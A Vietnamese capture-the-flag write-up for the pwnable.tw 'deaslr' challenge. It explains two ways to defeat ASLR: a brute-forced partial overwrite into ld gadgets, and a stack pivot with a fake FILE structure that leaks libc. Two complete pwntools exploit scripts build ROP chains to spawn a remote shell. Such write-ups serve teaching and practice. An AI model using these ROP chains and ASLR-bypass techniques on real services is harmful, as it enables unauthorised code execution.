De-ASLR
tl;dr: Tận dụng địa chỉ libc, ld còn sót lại trên stack, phía dưới stack frame thì do tổ tiên caller, phía trên thì do callee; Bruteforce ASLR với xác suất; Exploit trên remote có thể cần nhiều lần chạy kể cả khi local chỉ cần 1 lần;
Recon
Mitigation
r$ pwn checksec deaslr
[*] '/home/hungnt/pwnable.tw/deaslr/deaslr'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)$ file deaslr
deaslr: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8a9cbf850706a59f349054a95d97843ff5a48f0, not strippedGLIBC Version
pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
project homepage: https://sourceware.org/glibc/
read the source: https://elixir.bootlin.com/glibc/glibc-2.23/source
download the archive: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
git clone https://sourceware.org/git/glibc.git
Mappings:
libc is at: 0x7790b0400000
/home/hungnt/pwnable.tw/deaslr/libc_64.so.6
ld is at: 0x7790b0800000
/home/hungnt/pwnable.tw/deaslr/ld-2.23.so
Symbolication:
has exported symbols: yes
has internal symbols: yes
has debug info: yesCode

Partial Overwrite Solve
Trên stack còn bỏ sót lại một địa chỉ nằm trong ld, nếu mình ROP đến đó và ghi đè một vài byte cuối để trỏ đến một gadget hay ho nào đó thì sao?


Mình chỉ muốn ghi đè cùng lắm là 2 byte, mình thử objdump xem có gadgets nào call thanh ghi ko, để mình kiểm soát dễ hơn:
$ objdump -M intel -d --start-address=0x0 --stop-address=0x10000 ld-2.23.so > ld_gadgetsMình dùng regex tìm:
\bcall\s+r(?:ax|bx|cx|dx|si|di|sp|bp|8|9|1[0-5])\bĐây là một số gadgets hữu ích, mình có thể control các thanh ghi cần thiết và sau đó call rax để control RIP.
c352: 48 8b 43 10 mov rax,QWORD PTR [rbx+0x10]
c356: 48 83 c3 18 add rbx,0x18
c35a: 49 03 04 24 add rax,QWORD PTR [r12]
c35e: ff d0 call rax
c7f0: 48 8b 43 10 mov rax,QWORD PTR [rbx+0x10]
c7f4: 49 03 07 add rax,QWORD PTR [r15]
c7f7: ff d0 call rax
c9f0: 48 8b 43 10 mov rax,QWORD PTR [rbx+0x10]
c9f4: 49 03 04 24 add rax,QWORD PTR [r12]
c9f8: 4c 89 9d 28 ff ff ff mov QWORD PTR [rbp-0xd8],r11
c9ff: 4c 89 95 30 ff ff ff mov QWORD PTR [rbp-0xd0],r10
ca06: ff d0 call rax
d0b0: 48 8b 43 10 mov rax,QWORD PTR [rbx+0x10]
d0b4: 49 03 07 add rax,QWORD PTR [r15]
d0b7: ff d0 call rax
d193: 48 8b 43 10 mov rax,QWORD PTR [rbx+0x10]
d197: 49 03 04 24 add rax,QWORD PTR [r12]
d19b: 4c 89 95 30 ff ff ff mov QWORD PTR [rbp-0xd0],r10
d1a2: ff d0 call rax
d31f: 48 8b 52 08 mov rdx,QWORD PTR [rdx+0x8]
d323: 48 03 10 add rdx,QWORD PTR [rax]
d326: 48 89 d0 mov rax,rdx
d329: ff d0 call rax
d72f: 48 8b 52 08 mov rdx,QWORD PTR [rdx+0x8]
d733: 48 03 10 add rdx,QWORD PTR [rax]
d736: 48 89 d0 mov rax,rdx
d739: ff d0 call raxGiả sử mình chọn gadgets bắt đầu tại 0xc7f0, nếu ở rbx+0x10 chứa địa chỉ libc nào đó, r15 chứa offset từ địa chỉ đó đến system(). Vì PIE disabled nên mình có rbx gần vùng GOT của binary luôn.
Mình chạy trên WSL Ubuntu 24.04 thấy rằng địa chỉ ld luôn kết thúc bằng 0x00000 nên mình có thể overwrite 2 byte + 1 byte null. Nhưng trên remote thì là Ubuntu 16.04, ld align theo page, kết thúc 0x000, chỉ overwrite 1 byte + 1 byte null, nên cần phải chọn gadgets bắt đầu tại 0xd0b0, thì bruteforce 4 bit mới đc.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'
exe = ELF("deaslr_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *main+30
b *0x4005c8
continue
'''
def conn():
if args.LOCAL:
p = process(exe.path)
sleep(0.1)
return p
else:
host = "chall.pwnable.tw"
port = 10402
return remote(host, port)
gets_to_system = libc.symbols['system'] - libc.symbols['gets']
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005ba
pop_rdi_ret = 0x4005c3
binsh_addr = exe.bss()
offset_addr = exe.bss() + 8
nop_ret = 0x4005c8
attempt = 0
while True:
attempt += 1
print("\n----------> Attempt", attempt)
p = conn()
# On WSL Ubuntu 24.04 ld base always ends with 0x100000
if args.LOCAL:
with open(f'/proc/{p.pid}/maps') as f:
ld_lines = [line for line in f if 'ld-2.23.so' in line]
print(ld_lines[0], end='')
if int(ld_lines[0].split('-')[0], 16) % 0x1000000 == 0:
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
else:
p.close()
continue
pl = flat(
A(0x18),
# Write /bin/sh to bss
pop_rdi_ret,
binsh_addr,
exe.plt['gets'],
# Set rbx and r15
pop_rbx_rbp_r12_r13_r14_r15_ret,
exe.got['gets'] - 0x10,
0, 0, 0, 0,
offset_addr,
pop_rdi_ret,
binsh_addr,
p64(nop_ret) * 6,
)
if args.LOCAL:
# Ubuntu 24.04 WSL
pl += p16(0xc7f0)
else:
# Ubuntu 16.04 (Remote)
# ld ends with 0x1000
pl += p8(0xb0)
# null byte at then end
sl(p, pl)
sleep(0.25)
sl(p, flat(b'/bin/sh\0', gets_to_system))
if args.GDB:
input()
try:
sleep(0.5)
sl(p, b'id')
if p.recvuntil(b'id', timeout=0.5):
print("Spawn shell:")
rr(p, 0.5)
ia(p)
else:
raise exception
except:
print("Failed attempt")
p.close()
continue
p.close()
breakLibc Leak Solve
Ok bây giờ sang hướng đi ko bruteforce, mình lợi dụng việc stack frame của gets() ko đc dọn dẹp, để sót lại địa chỉ libc, cụ thể là stdin:

Vậy ý tưởng là mình sẽ pivot stack đến nơi có địa chỉ mình kiểm soát được, là vùng bss của binary, sau đó mình tiếp tục ghi các đoạn ROP ở ngay phía trên và phía dưới nơi chứa địa chỉ stdin kia, sao cho địa chỉ này sẽ đc pop vào thanh ghi nào đó, và lại dùng chiêu gadget call như hướng ở trên.
Tìm loanh quanh trong binary thì mình có cái gadget như sau, mục tiêu là pop đc vào r12:
4005a0: 4c 89 ea mov rdx,r13
4005a3: 4c 89 f6 mov rsi,r14
4005a6: 44 89 ff mov edi,r15d
4005a9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]Vậy việc cần làm là kiểm soát rbx, r12, r13, r14, r15 sao cho tại địa chỉ r12+rbx*8 (trong libc) có chứa một hàm hữu ích nào đó. Thật may là có cái gadget này:
4005ba: 5b pop rbx
4005bb: 5d pop rbp
4005bc: 41 5c pop r12
4005be: 41 5d pop r13
4005c0: 41 5e pop r14
4005c2: 41 5f pop r15
4005c4: c3 retNhớ rằng trong libc có vtable, chứa nhiều con trỏ hàm hay ho, đặc biệt ở đây là hàm ssize_t _IO_file_write (FILE *f, const void *data, ssize_t n), mình có thể truyền vào một fake FILE structure vào rdi, cho data trỏ đến nơi cần thiết để leak ra libc.

Có libc rồi, mình chỉ cần ROP gọi execve() hay system() là xong.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
A = lambda len=1, c=b'A': c * len
z = lambda len=1, c=b'\0': c * len
exe = ELF("deaslr_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# b *main+30
b *__libc_csu_init+73
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.25)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10402
return remote(host, port)
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005ba
pop_rdi_ret = 0x4005c3
pop_rsi_r15_ret = 0x4005c1
nop_ret = 0x4005c8
leave_ret = 0x400554
call = 0x4005a0
stack_1 = 0x601400
stack_2 = stack_1 + 0x400
fake_file = stack_2 + 0x58
stdin_addr = stack_1 - 0x60
attempt = 0
while True:
attempt += 1
print("\n----------> Attempt", attempt)
p = conn()
print("1st write -> ROP at main() return")
# First ROP
pl = flat(
A(0x10),
stack_1, # saved rbp
pop_rdi_ret,
stack_1,
exe.symbols['gets'], # 2nd write
leave_ret # rsp -> stack 1, rbp -> stack 2
)
sl(p, pl)
sleep(0.1)
print("2nd write -> ROP at stack 1")
# ROP at stack 1
pl = flat(
stack_2, # saved rbp
exe.symbols['main'], # 3rd write
leave_ret, # rsp -> stack 2, rbp -> stdin_addr - 0x20
)
# Padding
pl += p64(0) * ((stack_2 - stack_1 - 0x18)//8)
# ROP at stack 2
pl += flat(
stdin_addr - 0x20, # saved rbp
pop_rdi_ret,
stdin_addr + 0x8,
exe.symbols['gets'], # 4th write
pop_rdi_ret,
stdin_addr - 0x18,
exe.symbols['gets'], # 5th write
pop_rdi_ret,
stack_1,
exe.symbols['gets'], # 6th write
leave_ret, # rsp -> stdin_addr - 0x20
)
# Fake FILE structure
# __fileno = 1, __flags2 = 2 (write syscall can't be canceled)
pl += flat(z(0x70), 1, 2)
sl(p, pl)
sleep(0.1)
print("3rd write -> STDIN address at stack 1 - 0x60")
sl(p, b'A')
'''
4005a0: 4c 89 ea mov rdx,r13
4005a3: 4c 89 f6 mov rsi,r14
4005a6: 44 89 ff mov edi,r15d
4005a9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
'''
print("4th write -> ROP under STDIN address")
pl = flat(
100, # r13 -> rdx
exe.got['gets'], # r14 -> rsi
fake_file, # r15 -> rdi
call # _IO_file_write
)
sl(p, pl)
print("5th write -> ROP above STDIN address")
'''
tele 0x70dc813c0000+0x4eb*8
0x70dc813c2758 (__GI__IO_file_jumps+120) —▸ 0x70dc81078b70 (_IO_file_write@@GLIBC_2.2.5)
'''
pl = flat(
pop_rbx_rbp_r12_r13_r14_r15_ret,
0x4eb, # rbx
0x4ec, # rbp = rbx + 1, to return
b'\0', # Overwrite last byte -> _nl_C_LC_TIME+160
)
sl(p, pl)
print("6th write -> to have another gets() after leaking libc")
pl = flat(
pop_rdi_ret,
stack_1 + 0x18,
exe.plt['gets'] # 7th write
)
sl(p, pl)
sleep(0.5)
try:
libc.address = leak_bytes(rn(p, 6), libc.symbols['gets'])
lg("libc base", libc.address)
except:
print("Failed attempt")
p.close()
continue
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
'''
one_gadget = libc.address + 0x4526a
lg("one gadget", one_gadget)
print("7th write -> one_gadget")
pl = flat(
one_gadget,
p64(0) * 5
)
sl(p, pl)
rr(p, 0.5)
ia(p)
p.close()
break